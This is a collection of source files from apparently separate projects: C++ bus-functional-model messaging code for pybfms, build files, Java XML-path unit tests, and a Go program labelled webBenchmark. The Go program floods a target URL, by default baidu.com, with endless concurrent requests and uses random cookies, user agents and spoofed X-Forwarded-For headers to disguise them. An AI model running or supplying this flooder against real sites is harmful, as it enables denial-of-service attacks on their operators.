bfm_notify_f notify_f,
void *notify_data) :
m_instname(inst_name),
m_clsname(cls_name),
m_notify_f(notify_f),
m_notify_data(notify_data) {
m_active_msg = 0;
m_active_inbound_msg = 0;
}
Bfm::~Bfm() {
if (m_active_msg) {
delete m_active_msg;
m_active_msg = 0;
}
if (m_active_inbound_msg) {
delete m_active_inbound_msg;
}
}
uint32_t Bfm::add_bfm(Bfm *bfm) {
bfm->m_bfm_id = static_cast<uint32_t>(m_bfm_l.size());
m_bfm_l.push_back(bfm);
return bfm->m_bfm_id;
}
void Bfm::send_msg(BfmMsg *msg) {
m_msg_queue.push_back(msg);
if (m_notify_f) {
m_notify_f(m_notify_data);
}
}
int Bfm::claim_msg() {
if (m_active_msg) {
delete m_active_msg;
m_active_msg = 0;
}
if (m_msg_queue.size() > 0) {
m_active_msg = m_msg_queue.at(0);
m_msg_queue.erase(m_msg_queue.begin());
int32_t msg_id = static_cast<int32_t>(m_active_msg->id());
return msg_id;
} else {
return -1;
}
}
void Bfm::begin_inbound_msg(uint32_t msg_id) {
m_active_inbound_msg = new BfmMsg(msg_id);
}
void Bfm::send_inbound_msg() {
if (m_recv_msg_f) {
m_recv_msg_f(m_bfm_id, m_active_inbound_msg);
} else {
fprintf(stdout, "Error: Attempting to send a message (%d) before initialization\n",
m_active_inbound_msg->id());
fflush(stdout);
}
// Clean up
delete m_active_inbound_msg;
m_active_inbound_msg = 0;
}
void Bfm::set_recv_msg_f(bfm_recv_msg_f f) {
m_recv_msg_f = f;
}
std::vector<Bfm *> Bfm::m_bfm_l;
bfm_recv_msg_f Bfm::m_recv_msg_f = 0;
EXTERN_C uint32_t bfm_get_count() {
return Bfm::get_bfms().size();
}
EXTERN_C const char *bfm_get_instname(uint32_t bfm_id) {
return Bfm::get_bfms().at(bfm_id)->get_instname().c_str();
}
EXTERN_C const char *bfm_get_clsname(uint32_t bfm_id) {
return Bfm::get_bfms().at(bfm_id)->get_clsname().c_str();
}
EXTERN_C void bfm_send_msg(uint32_t bfm_id, BfmMsg *msg) {
Bfm::get_bfms().at(bfm_id)->send_msg(msg);
}
EXTERN_C void bfm_set_recv_msg_callback(bfm_recv_msg_f f) {
Bfm::set_recv_msg_f(f);
}
<|start_filename|>ext/common/BfmMsg.h<|end_filename|>
/******************************************************************************
* Copyright cocotb contributors
* Licensed under the Revised BSD License, see LICENSE for details.
* SPDX-License-Identifier: BSD-3-Clause
******************************************************************************/
#ifndef INCLUDED_BFM_MSG_H
#define INCLUDED_BFM_MSG_H
#include <vector>
#include <string>
#include <utility>
#include <stdint.h>
enum MsgParamType {
ParamType_Str,
ParamType_Si,
ParamType_Ui
};
struct MsgParam {
MsgParamType ptype;
std::string str;
union {
uint64_t ui64;
int64_t i64;
const char *str;
} pval;
};
struct BfmMsg {
public:
BfmMsg(uint32_t id);
virtual ~BfmMsg();
uint32_t id() const { return m_id; }
void add_param_ui(uint64_t p);
void add_param_si(int64_t p);
void add_param_s(const char *p);
void add_param(const MsgParam &p);
uint32_t num_params() const { return m_param_l.size(); }
const MsgParam *get_param();
const MsgParam *get_param(uint32_t idx) const;
uint64_t get_param_ui();
int64_t get_param_si();
const char *get_param_str();
protected:
private:
/**
* Identifies the index of the inbound or outbound
* task to call. An outbound (Python->HDL) message
* with id=0 will call the first (0th) task marked
* with the cocotb.bfm_import decorator.
*/
uint32_t m_id;
std::vector<MsgParam> m_param_l;
#ifdef UNDEFINED
/**
* List of message parameters.
*/
cocotb_bfm_msg_param_t *m_param_l;
/**
* Insert index into the parameter list. Adding
* new parameters to the message increases _idx
*/
uint32_t m_param_l_idx;
/**
* Maximum size of the parameter list. The parameter
* list is expanded when _idx >= _max
*/
uint32_t m_param_l_max;
#endif
/**
* The value of string parameters is stored in this
* list. The parameter-list entry holds a pointer
* to an element in this list.
*/
std::vector<std::string> m_str_l;
/**
* Read index into the parameter list. _idx is
* increased when the BFM reads a parameter from
* the message.
*/
uint32_t m_idx;
};
#endif /* INCLUDED_BFM_MSG_H */
<|start_filename|>templates/bfm/gvm/bfm_rsp_if.h<|end_filename|>
/****************************************************************************
* ${bfm}_rsp_if.h
*
****************************************************************************/
#pragma once
#include <stdint.h>
class ${bfm}_rsp_if {
public:
virtual ~${bfm}_rsp_if() { }
${bfm_rsp_if_api}
};
<|start_filename|>ext/common/BfmMsg.cpp<|end_filename|>
/******************************************************************************
* Copyright cocotb contributors
* Licensed under the Revised BSD License, see LICENSE for details.
* SPDX-License-Identifier: BSD-3-Clause
******************************************************************************/
#include "BfmMsg.h"
#include <string.h>
#include <stdio.h>
#define EXTERN_C extern "C"
BfmMsg::BfmMsg(uint32_t id) {
m_id = id;
m_idx = 0;
}
BfmMsg::~BfmMsg() {
}
void BfmMsg::add_param_ui(uint64_t p) {
MsgParam param;
param.ptype = ParamType_Ui;
param.pval.ui64 = p;
add_param(param);
}
void BfmMsg::add_param_si(int64_t p) {
MsgParam param;
param.ptype = ParamType_Si;
param.pval.i64 = p;
add_param(param);
}
void BfmMsg::add_param(const MsgParam &p) {
m_param_l.push_back(p);
}
void BfmMsg::add_param_s(const char *p) {
MsgParam param;
param.ptype = ParamType_Str;
m_str_l.push_back(p);
param.pval.str = m_str_l.at(m_str_l.size()-1).c_str();
add_param(param);
}
const MsgParam *BfmMsg::get_param() {
MsgParam *ret = 0;
if (m_idx < m_param_l.size()) {
ret = &m_param_l[m_idx];
m_idx++;
}
return ret;
}
const MsgParam *BfmMsg::get_param(uint32_t idx) const {
const MsgParam *ret = 0;
if (idx < m_param_l.size()) {
ret = &m_param_l[idx];
}
return ret;
}
uint64_t BfmMsg::get_param_ui() {
uint64_t ret = 0;
if (m_idx < m_param_l.size()) {
ret = m_param_l[m_idx].pval.ui64;
m_idx++;
} else {
fprintf(stdout, "Error: Out-of-bound request\n");
}
return ret;
}
int64_t BfmMsg::get_param_si() {
int64_t ret = 0;
if (m_idx < m_param_l.size()) {
ret = m_param_l[m_idx].pval.i64;
m_idx++;
}
return ret;
}
const char *BfmMsg::get_param_str() {
const char *ret = "";
if (m_idx < m_param_l.size()) {
ret = m_param_l[m_idx].pval.str;
m_idx++;
}
return ret;
}
EXTERN_C void *bfm_msg_new(uint32_t msg_id) {
BfmMsg *ret = new BfmMsg(msg_id);
return ret;
}
EXTERN_C void bfm_msg_add_param_ui(BfmMsg *msg, uint64_t p) {
msg->add_param_ui(p);
}
EXTERN_C void bfm_msg_add_param_si(BfmMsg *msg, int64_t p) {
msg->add_param_si(p);
}
EXTERN_C uint32_t bfm_msg_id(BfmMsg *msg) {
return msg->id();
}
EXTERN_C const MsgParam *bfm_msg_get_param(BfmMsg *msg) {
return msg->get_param();
}
EXTERN_C uint32_t bfm_msg_param_type(MsgParam *p) {
return p->ptype;
}
EXTERN_C uint64_t bfm_msg_param_ui(MsgParam *p) {
return p->pval.ui64;
}
EXTERN_C int64_t bfm_msg_param_si(MsgParam *p) {
return p->pval.i64;
}
<|start_filename|>templates/bfm/gvm/bfm_dpi.cpp<|end_filename|>
/****************************************************************************
* ${bfm}_dpi.cpp
*
* Warning: This file is generated and should not be hand modified
****************************************************************************/
#include "${bfm}.h"
/********************************************************************
* ${bfm}_register()
*
********************************************************************/
extern "C" uint32_t ${bfm}_register(const char *path) {
return ${bfm}_t::register_bfm(path);
}
${bfm_dpi_imports}
${bfm}_t ${bfm}_type;
<|start_filename|>Dockerfile<|end_filename|>
FROM quay.io/pypa/manylinux2010_x86_64
#RUN /opt/python/cp35-cp35m/bin/pip install --upgrade pip
#RUN /opt/python/cp35-cp35m/bin/pip install cython wheel twine
RUN /opt/python/cp36-cp36m/bin/pip install --upgrade pip
RUN /opt/python/cp36-cp36m/bin/pip install cython wheel twine
RUN /opt/python/cp37-cp37m/bin/pip install --upgrade pip
RUN /opt/python/cp37-cp37m/bin/pip install cython wheel twine
RUN /opt/python/cp38-cp38/bin/pip install --upgrade pip
RUN /opt/python/cp38-cp38/bin/pip install cython wheel twine
RUN /opt/python/cp39-cp39/bin/pip install --upgrade pip
RUN /opt/python/cp39-cp39/bin/pip install cython wheel twine
CMD /pybfms/build.sh
<|start_filename|>ext/hdl_sim/dpi_if.cpp<|end_filename|>
/******************************************************************************
* dpi_if.cpp
******************************************************************************/
#include <stdio.h>
#include "Bfm.h"
#define EXTERN_C extern "C"
EXTERN_C int pybfms_claim_msg(uint32_t id);
EXTERN_C int pybfms_end_msg(uint32_t bfm_id);
EXTERN_C uint32_t pybfms_register(
const char *inst_name,
const char *cls_name,
bfm_notify_f notify_f,
void *notify_data) {
return Bfm::add_bfm(new Bfm(
inst_name,
cls_name,
notify_f,
notify_data
));
}
// Returns the number of registered BFMs
EXTERN_C uint32_t pybfms_num_registered(void) {
return static_cast<uint32_t>(Bfm::get_bfms().size());
}
// Returns the instance name of the specified BFM
EXTERN_C const char *pybfms_instname(uint32_t id) {
return Bfm::get_bfms().at(id)->get_instname().c_str();
}
// Returns the class name of the specified BFM
EXTERN_C const char *pybfms_clsname(uint32_t id) {
return Bfm::get_bfms().at(id)->get_clsname().c_str();
}
//
EXTERN_C int pybfms_claim_msg(uint32_t id) {
return Bfm::get_bfms().at(id)->claim_msg();
}
EXTERN_C uint64_t pybfms_get_ui_param(uint32_t id) {
Bfm *bfm = Bfm::get_bfms().at(id);
BfmMsg *msg = bfm->active_msg();
if (msg) {
return msg->get_param_ui();
} else {
return 0;
}
}
EXTERN_C int64_t pybfms_get_si_param(uint32_t id) {
Bfm *bfm = Bfm::get_bfms().at(id);
BfmMsg *msg = bfm->active_msg();
if (msg) {
return msg->get_param_si();
} else {
return 0;
}
}
EXTERN_C const char *pybfms_get_str_param(uint32_t id) {
Bfm *bfm = Bfm::get_bfms().at(id);
BfmMsg *msg = bfm->active_msg();
if (msg) {
return msg->get_param_str();
} else {
return 0;
}
}
EXTERN_C void pybfms_begin_msg(uint32_t bfm_id, uint32_t msg_id) {
Bfm *bfm = Bfm::get_bfms().at(bfm_id);
bfm->begin_inbound_msg(msg_id);
}
EXTERN_C void pybfms_add_si_param(uint32_t bfm_id, int64_t pval) {
Bfm *bfm = Bfm::get_bfms().at(bfm_id);
BfmMsg *msg = bfm->active_inbound_msg();
if (msg) {
msg->add_param_si(pval);
} else {
fprintf(stdout, "Error: attempting to add a signed parameter to a NULL message\n");
}
}
EXTERN_C void pybfms_add_ui_param(uint32_t bfm_id, uint64_t pval) {
Bfm *bfm = Bfm::get_bfms().at(bfm_id);
BfmMsg *msg = bfm->active_inbound_msg();
if (msg) {
msg->add_param_ui(pval);
} else {
fprintf(stdout, "Error: attempting to add an unsigned parameter to a NULL message\n");
}
}
EXTERN_C int pybfms_end_msg(uint32_t bfm_id) {
Bfm *bfm = Bfm::get_bfms().at(bfm_id);
bfm->send_inbound_msg();
return 0;
}
#ifdef UNDEFINED
EXTERN_C void pybfms_send_msg(uint32_t bfm_id,
uint32_t msg_id,
uint32_t paramc,
pybfms_msg_param_t *paramv) {
Bfm *bfm = Bfm::get_bfms().at(bfm_id);
BfmMsg *msg = new BfmMsg(msg_id, static_cast<int32_t>(paramc), paramv);
bfm->send_msg(msg);
}
#endif
EXTERN_C void pybfms_set_recv_msg_f(bfm_recv_msg_f recv_msg_f) {
Bfm::set_recv_msg_f(recv_msg_f);
}
<|start_filename|>templates/bfm/gvm/bfm_base.cpp<|end_filename|>
/****************************************************************************
* ${bfm}_base.cpp
*
****************************************************************************/
#include "${bfm}_base.h"
#include "GoogletestHdl.h"
${bfm_dpi_export_func_decl}
${bfm}_base::${bfm}_base(${bfm}_rsp_if *rsp_if) : GvmBfm(rsp_if) {
}
${bfm}_base::~${bfm}_base() {
}
${bfm_dpi_export_method_def}
<|start_filename|>templates/bfm/gvm/bfm_base.h<|end_filename|>
/****************************************************************************
* ${bfm}_base.h
*
****************************************************************************/
#pragma once
#include <stdint.h>
#include "${bfm}_rsp_if.h"
#include "GvmBfm.h"
class ${bfm}_base : public GvmBfm<${bfm}_rsp_if> {
public:
${bfm}_base(${bfm}_rsp_if *rsp_if=0);
virtual ~${bfm}_base();
${bfm_dpi_export_method_decl}
};
<|start_filename|>mkfiles/bfm-tools.mk<|end_filename|>
BFM_TOOLS_MKFILES_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
ifneq (1,$(BFM_TOOLS_MKFILES_DIR))
BFM_TOOLS := $(abspath $(BFM_TOOLS_MKFILES_DIR)/..)
export BFM_TOOLS
BFM_TOOLS_GEN_FILES = $(1)/$(2)_api_pkg.sv $(1)/$(2)_api.svh $(1)/gvm/$(2)_bfm_base.h $(1)/gvm/$(2)_bfm_base.cpp $(1)/gvm/$(2)_rsp_if.h $(1)/gvm/$(2)_dpi.cpp
else # Rules
endif
| sv-bfms/bfm_core |
<|start_filename|>main.go<|end_filename|>
package main
import (
"flag"
"fmt"
"github.com/EDDYCJY/fake-useragent"
"io"
"io/ioutil"
"math"
"math/rand"
"net/http"
"os"
"strings"
"sync"
"time"
"github.com/apoorvam/goterminal"
"github.com/shirou/gopsutil/cpu"
"github.com/shirou/gopsutil/load"
"github.com/shirou/gopsutil/mem"
"github.com/shirou/gopsutil/net"
)
const (
letterIdxBits = 6
letterIdxMask = 1<<letterIdxBits - 1
letterIdxMax = 63 / letterIdxBits
)
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytesMaskImpr(n int) string {
b := make([]byte, n)
for i, cache, remain := n-1, rand.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = rand.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(b)
}
func generateRandomIPAddress() string {
rand.Seed(time.Now().Unix())
ip := fmt.Sprintf("%d.%d.%d.%d", rand.Intn(255), rand.Intn(255), rand.Intn(255), rand.Intn(255))
return ip
}
func showStat() {
initialNetCounter, _ := net.IOCounters(true)
for true {
percent, _ := cpu.Percent(time.Second, false)
memStat, _ := mem.VirtualMemory()
netCounter, _ := net.IOCounters(true)
loadStat, _ := load.Avg()
fmt.Fprintf(TerminalWriter, "cpu percent:%.3f%% \n", percent)
fmt.Fprintf(TerminalWriter, "mem percent:%v%% \n", memStat.UsedPercent)
fmt.Fprintf(TerminalWriter, "load info:%.3f %.3f %.3f\n", loadStat.Load1, loadStat.Load5, loadStat.Load15)
for i := 0; i < len(netCounter); i++ {
if netCounter[i].BytesRecv == 0 && netCounter[i].BytesSent == 0 {
continue
}
fmt.Fprintf(TerminalWriter, "Nic:%v %s/s %s/s\n", netCounter[i].Name,
readableBytes(float64(netCounter[i].BytesRecv-initialNetCounter[i].BytesRecv)),
readableBytes(float64(netCounter[i].BytesSent-initialNetCounter[i].BytesSent)))
}
initialNetCounter = netCounter
TerminalWriter.Clear()
TerminalWriter.Print()
time.Sleep(1 * time.Millisecond)
}
}
func readableBytes(bytes float64) (expression string) {
if bytes == 0 {
return "0B"
}
var i = math.Floor(math.Log(bytes) / math.Log(1024))
var sizes = []string{"B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}
return fmt.Sprintf("%.3f%s", bytes/math.Pow(1024, i), sizes[int(i)])
}
func goFun(Url string, postContent string, Referer string, XforwardFor bool, wg *sync.WaitGroup) {
for true {
var request *http.Request
var err1 error = nil
client := &http.Client{}
if len(postContent) > 0 {
request, err1 = http.NewRequest("POST", Url, strings.NewReader(postContent))
} else {
request, err1 = http.NewRequest("GET", Url, nil)
}
if err1 != nil {
continue
}
if len(Referer) == 0 {
Referer = Url
}
request.Header.Add("Cookie", RandStringBytesMaskImpr(12))
request.Header.Add("User-Agent", browser.Random())
request.Header.Add("Referer", Referer)
if XforwardFor {
randomip := generateRandomIPAddress()
request.Header.Add("X-Forwarded-For", randomip)
request.Header.Add("X-Real-IP", randomip)
}
resp, err2 := client.Do(request)
if err2 != nil {
continue
}
_, err3 := io.Copy(ioutil.Discard, resp.Body)
if err3 != nil {
continue
}
}
wg.Done()
}
var count = flag.Int("c", 16, "cocurrent thread for download")
var url = flag.String("s", "https://baidu.com", "target url")
var postContent = flag.String("p", "", "post content")
var referer = flag.String("r", "", "referer url")
var xforwardfor = flag.Bool("f", false, "random X-Forwarded-For ip address")
var TerminalWriter = goterminal.New(os.Stdout)
func main() {
flag.Parse()
go showStat()
var waitgroup sync.WaitGroup
if *count <= 0 {
*count = 16
}
for i := 0; i < *count; i++ {
waitgroup.Add(1)
go goFun(*url, *postContent, *referer, *xforwardfor, &waitgroup)
}
waitgroup.Wait()
TerminalWriter.Reset()
}
| Droid-MAX/webBenchmark |
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathParserTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.stream.CamelCaseStyle;
import org.simpleframework.xml.stream.Format;
public class PathParserTest extends TestCase {
public void testStyledPath() throws Exception {
Type type = new ClassType(PathParserTest.class);
Expression expression = new PathParser( "this/is/a/path", type, new Format(new CamelCaseStyle()));
String attributePath = expression.getAttribute("final");
assertEquals(attributePath, "This[1]/Is[1]/A[1]/Path[1]/@final");
String elementPath = expression.getElement("final");
assertEquals(elementPath, "This[1]/Is[1]/A[1]/Path[1]/Final[1]");
}
public void testStyledPathWithPrefixes() throws Exception {
Type type = new ClassType(PathParserTest.class);
Expression expression = new PathParser("pre:this/is/a/pre:path", type, new Format(new CamelCaseStyle()));
String attributePath = expression.getAttribute("final");
assertEquals(attributePath, "pre:This[1]/Is[1]/A[1]/pre:Path[1]/@final");
String elementPath = expression.getElement("final");
assertEquals(elementPath, "pre:This[1]/Is[1]/A[1]/pre:Path[1]/Final[1]");
}
public void testEmptyPath() throws Exception {
Type type = new ClassType(PathParserTest.class);
Expression expression = new PathParser( ".", type, new Format());
String element = expression.getElement("a");
assertEquals(expression.getPath(), "");
assertEquals(element, "a");
String attribute = expression.getAttribute("a");
assertEquals(attribute, "a");
assertTrue(expression.isEmpty());
Expression single = new PathParser("name", type, new Format());
Expression empty = single.getPath(1);
assertTrue(empty.isEmpty());
}
public void testAttributePath() throws Exception {
Type type = new ClassType(PathParserTest.class);
Expression expression = new PathParser("some/path", type, new Format());
String element = expression.getElement("element");
assertEquals(element, "some[1]/path[1]/element[1]");
String attribute = expression.getAttribute("attribute");
assertEquals(attribute, "some[1]/path[1]/@attribute");
assertFalse(expression.isEmpty());
Expression attr = new PathParser(attribute, type, new Format());
assertFalse(attr.isEmpty());
assertTrue(attr.isAttribute());
assertEquals(attr.getLast(), "attribute");
assertEquals(attr.getFirst(), "some");
Expression ending = new PathParser("a/b@c", type, new Format());
assertTrue(ending.isAttribute());
assertEquals(ending.getFirst(), "a");
assertEquals(ending.getLast(), "c");
}
public void testSimplePath() throws Exception {
Expression expression = new PathParser("path1/path2/path3/path4", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "path1");
assertEquals(expression.getPrefix(), null);
assertEquals(expression.getLast(), "path4");
assertEquals(expression.toString(), "path1/path2/path3/path4");
assertTrue(expression.isPath());
assertFalse(expression.isAttribute());
expression = expression.getPath(1);
assertEquals(expression.getFirst(), "path2");
assertEquals(expression.getPrefix(), null);
assertEquals(expression.getLast(), "path4");
assertEquals(expression.toString(), "path2/path3/path4");
assertTrue(expression.isPath());
assertFalse(expression.isAttribute());
}
public void testPathPrefix() throws Exception {
Expression expression = new PathParser("ns1:path1/ns2:path2/path3/ns3:path4[2]", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "path1");
assertEquals(expression.getPrefix(), "ns1");
assertEquals(expression.getLast(), "path4");
assertEquals(expression.toString(), "ns1:path1/ns2:path2/path3/ns3:path4[2]");
assertTrue(expression.isPath());
assertFalse(expression.isAttribute());
expression = expression.getPath(1);
assertEquals(expression.getFirst(), "path2");
assertEquals(expression.getPrefix(), "ns2");
assertEquals(expression.getLast(), "path4");
assertEquals(expression.toString(), "ns2:path2/path3/ns3:path4[2]");
assertTrue(expression.isPath());
assertFalse(expression.isAttribute());
expression = expression.getPath(1);
assertEquals(expression.getFirst(), "path3");
assertEquals(expression.getPrefix(), null);
assertEquals(expression.getLast(), "path4");
assertEquals(expression.toString(), "path3/ns3:path4[2]");
assertTrue(expression.isPath());
assertFalse(expression.isAttribute());
expression = expression.getPath(1);
assertEquals(expression.getFirst(), "path4");
assertEquals(expression.getPrefix(), "ns3");
assertEquals(expression.getLast(), "path4");
assertEquals(expression.getIndex(), 2);
assertEquals(expression.toString(), "ns3:path4[2]");
assertFalse(expression.isPath());
assertFalse(expression.isAttribute());
}
public void testAttribute() throws Exception {
Expression expression = new PathParser("./some[3]/path[2]/to/parse/@attribute", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "some");
assertEquals(expression.getIndex(), 3);
assertEquals(expression.getLast(), "attribute");
assertEquals(expression.toString(), "some[3]/path[2]/to/parse/@attribute");
assertTrue(expression.isPath());
assertTrue(expression.isAttribute());
expression = expression.getPath(2);
assertEquals(expression.getFirst(), "to");
assertEquals(expression.getIndex(), 1);
assertEquals(expression.getLast(), "attribute");
assertEquals(expression.toString(), "to/parse/@attribute");
assertTrue(expression.isPath());
assertTrue(expression.isAttribute());
expression = expression.getPath(2);
assertEquals(expression.getFirst(), "attribute");
assertEquals(expression.getIndex(), 1);
assertEquals(expression.getLast(), "attribute");
assertEquals(expression.toString(), "@attribute");
assertFalse(expression.isPath());
assertTrue(expression.isAttribute());
}
public void testIndex() throws Exception {
Expression expression = new PathParser("./some[3]/path[2]/to/parse", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "some");
assertEquals(expression.getIndex(), 3);
assertEquals(expression.getLast(), "parse");
assertEquals(expression.toString(), "some[3]/path[2]/to/parse");
assertTrue(expression.isPath());
expression = expression.getPath(1);
assertEquals(expression.getFirst(), "path");
assertEquals(expression.getIndex(), 2);
assertEquals(expression.getLast(), "parse");
assertEquals(expression.toString(), "path[2]/to/parse");
assertTrue(expression.isPath());
expression = expression.getPath(0, 1);
assertEquals(expression.getFirst(), "path");
assertEquals(expression.getIndex(), 2);
assertEquals(expression.getLast(), "to");
assertEquals(expression.toString(), "path[2]/to");
assertTrue(expression.isPath());
expression = expression.getPath(0, 1);
assertEquals(expression.getFirst(), "path");
assertEquals(expression.getIndex(), 2);
assertEquals(expression.getLast(), "path");
assertEquals(expression.toString(), "path[2]");
assertFalse(expression.isPath());
expression = new PathParser( "./a[10]/b[2]/c/d", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "a");
assertEquals(expression.getIndex(), 10);
assertEquals(expression.getLast(), "d");
assertEquals(expression.toString(), "a[10]/b[2]/c/d");
assertTrue(expression.isPath());
expression = expression.getPath(1, 1);
assertEquals(expression.getFirst(), "b");
assertEquals(expression.getIndex(), 2);
assertEquals(expression.getLast(), "c");
assertEquals(expression.toString(), "b[2]/c");
assertTrue(expression.isPath());
expression = new PathParser( "a[10]/b[2]/c/d[300]", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "a");
assertEquals(expression.getIndex(), 10);
assertEquals(expression.getLast(), "d");
assertEquals(expression.toString(), "a[10]/b[2]/c/d[300]");
assertTrue(expression.isPath());
expression = expression.getPath(3);
assertEquals(expression.getFirst(), "d");
assertEquals(expression.getIndex(), 300);
assertEquals(expression.getLast(), "d");
assertEquals(expression.toString(), "d[300]");
assertFalse(expression.isPath());
expression = new PathParser("b[1]/c/d[300]/", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "b");
assertEquals(expression.getIndex(), 1);
assertEquals(expression.getLast(), "d");
assertEquals(expression.toString(), "b[1]/c/d[300]");
assertTrue(expression.isPath());
expression = expression.getPath(1);
assertEquals(expression.getFirst(), "c");
assertEquals(expression.getIndex(), 1);
assertEquals(expression.getLast(), "d");
assertEquals(expression.toString(), "c/d[300]");
assertTrue(expression.isPath());
expression = expression.getPath(0, 1);
assertEquals(expression.getFirst(), "c");
assertEquals(expression.getIndex(), 1);
assertEquals(expression.getLast(), "c");
assertEquals(expression.toString(), "c");
assertFalse(expression.isPath());
}
public void testExpressions() throws Exception {
Expression expression = new PathParser("./some/path/to/parse", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "some");
assertEquals(expression.getLast(), "parse");
assertEquals(expression.toString(), "some/path/to/parse");
assertTrue(expression.isPath());
expression = expression.getPath(2);
assertEquals(expression.getFirst(), "to");
assertEquals(expression.getLast(), "parse");
assertEquals(expression.toString(), "to/parse");
assertTrue(expression.isPath());
expression = new PathParser("a/b/c/d/e/f/g", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "a");
assertEquals(expression.getLast(), "g");
assertEquals(expression.toString(), "a/b/c/d/e/f/g");
assertTrue(expression.isPath());
expression = expression.getPath(2);
assertEquals(expression.getFirst(), "c");
assertEquals(expression.getLast(), "g");
assertEquals(expression.toString(), "c/d/e/f/g");
assertTrue(expression.isPath());
expression = expression.getPath(1);
assertEquals(expression.getFirst(), "d");
assertEquals(expression.getLast(), "g");
assertEquals(expression.toString(), "d/e/f/g");
assertTrue(expression.isPath());
expression = new PathParser("1/2/3/4/5/6/7", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "1");
assertEquals(expression.getLast(), "7");
assertEquals(expression.toString(), "1/2/3/4/5/6/7");
assertTrue(expression.isPath());
expression = expression.getPath(1, 1);
assertEquals(expression.getFirst(), "2");
assertEquals(expression.getLast(), "6");
assertEquals(expression.toString(), "2/3/4/5/6");
assertTrue(expression.isPath());
expression = expression.getPath(1, 1);
assertEquals(expression.getFirst(), "3");
assertEquals(expression.getLast(), "5");
assertEquals(expression.toString(), "3/4/5");
assertTrue(expression.isPath());
expression = expression.getPath(1, 1);
assertEquals(expression.getFirst(), "4");
assertEquals(expression.getLast(), "4");
assertEquals(expression.toString(), "4");
assertFalse(expression.isPath());
expression = new PathParser(".", new ClassType(PathParserTest.class), new Format());
assertFalse(expression.isPath());
expression = new PathParser( "./name", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "name");
assertEquals(expression.getLast(), "name");
assertEquals(expression.toString(), "name");
assertFalse(expression.isPath());
expression = new PathParser("./path/", new ClassType(PathParserTest.class), new Format());
assertEquals(expression.getFirst(), "path");
assertEquals(expression.getLast(), "path");
assertEquals(expression.toString(), "path");
assertFalse(expression.isPath());
}
public void testExceptions() throws Exception {
ensureException("//");
ensureException("some[[1]/path");
ensureException("some1]/path");
ensureException("a/b//c");
ensureException("./a[100]//b");
ensureException("./a[100]/b/@@attribute");
ensureException("../a[100]/b/@attribute");
ensureException("../a[100]/@b/@attribute");
ensureException("a//b//c");
ensureException("a/@b/@c");
ensureException("a/@b/");
ensureException("a/b[1]/c[");
ensureException("a/b[1]/c/@");
ensureException("a@");
}
private void ensureException(String path) {
boolean exception = false;
try{
new PathParser( path, new ClassType(PathParserTest.class), new Format());
}catch(Exception e){
e.printStackTrace();
exception = true;
}
assertTrue("Exception should be thrown for "+path, exception);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathWithExtraSectionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.ValidationTestCase;
public class PathWithExtraSectionTest extends ValidationTestCase {
private static final String SOURCE =
"<pathSectionIndexExample>\n"+
" <contact-details>\n"+
" <phone>\n"+
" <mobile>67890</mobile>\n"+
" </phone>\n"+
" </contact-details>\n"+
" <contact-details>\n"+
" <phone>\n"+
" <home>12345</home>\n"+
" </phone>\n"+
" </contact-details>\n"+
" <contact-details>\n"+
" <phone>\n"+
" <office>23523</office>\n"+
" </phone>\n"+
" </contact-details>\n"+
"</pathSectionIndexExample>\n";
@Default
@SuppressWarnings("all")
private static class PathSectionIndexExample {
@Path("contact-details[2]/phone")
private String home;
@Path("contact-details[1]/phone")
private String mobile;
public PathSectionIndexExample(
@Element(name="home") String home,
@Element(name="mobile") String mobile) {
this.home = home;
this.mobile = mobile;
}
}
public void testExtraSection() throws Exception {
Persister persister = new Persister();
boolean exception = false;
try {
persister.read(PathSectionIndexExample.class, SOURCE);
}catch(Exception e) {
e.printStackTrace();
exception = true;
}
assertTrue("There should be an exception for unmatched section", exception);
}
public void testExtraSectionWithNonStrict() throws Exception {
Persister persister = new Persister();
PathSectionIndexExample example = persister.read(PathSectionIndexExample.class, SOURCE, false);
assertEquals(example.home, "12345");
assertEquals(example.mobile, "67890");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionSameTypeDifferentNameTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementUnion;
public class UnionSameTypeDifferentNameTest extends ValidationTestCase {
private static final String USERNAME_SOURCE =
"<optionalNameExample>"+
" <username>john.doe</username>"+
"</optionalNameExample>";
private static final String LOGIN_SOURCE =
"<optionalNameExample>"+
" <login>john.doe</login>"+
"</optionalNameExample>";
private static final String ACCOUNT_SOURCE =
"<optionalNameExample>"+
" <account>john.doe</account>"+
"</optionalNameExample>";
@Root
private static class OptionalNameExample {
@ElementUnion({
@Element(name="login"),
@Element(name="name"),
@Element(name="username", type=String.class),
@Element(name="account")
})
private String name;
public String getName(){
return name;
}
public void setName(String name){
this.name = name;
}
}
public void testOptionalName() throws Exception{
Persister persister = new Persister();
OptionalNameExample username = persister.read(OptionalNameExample.class, USERNAME_SOURCE);
assertEquals(username.getName(), "john.doe");
validate(persister, username);
